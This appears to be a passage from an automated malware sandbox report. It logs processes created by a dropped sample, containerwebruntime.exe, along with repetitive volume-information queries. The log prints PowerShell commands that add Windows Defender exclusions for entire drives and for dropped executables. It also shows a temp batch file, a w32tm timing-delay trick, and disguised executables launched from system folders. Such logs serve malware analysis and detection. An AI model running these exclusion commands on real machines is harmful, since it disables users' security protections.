Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\apppatch\CustomSDB\sihost.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\RuntimeBroker.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\KDhudFNWvk.bat"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAD56.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSCCB61929627DF440F9E17C549CE99168.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAFE6.tmp" "c:\Windows\System32\CSCE2A537B39618441DAC64E34137FF17.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB66E.tmp" "c:\Program Files\Everything\CSCA17046CBF8B64A188168A4AB380809F.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe "C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Source: C:\Program Files\Everything\Everything.exe	Process created: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe "C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"
Source: C:\Program Files\Everything\Everything.exe	Process created: C:\Program Files\Everything\Everything.exe.exe "C:\Program Files\Everything\Everything.exe.exe" -startup

Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Process created: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe "c:\users\user\appdata\local\temp\nss476a.tmp\everything\everything.exe" -install "c:\program files\everything" -install-options " -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0"
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Process created: C:\Program Files\Everything\Everything.exe "c:\program files\everything\everything.exe" -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Process created: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe "c:\users\user\appdata\local\temp\nss476a.tmp\everything\everything.exe" -install "c:\program files\everything" -install-options " -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Process created: C:\Program Files\Everything\Everything.exe "c:\program files\everything\everything.exe" -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Code function: 2_2_00CDF654 cpuid

2_2_00CDF654

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

2_2_00CDAF0F

Source: C:\Program Files\Everything\Everything.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files\Everything\Everything.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Queries volume information: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files\Everything\Everything.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Everything\Everything.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
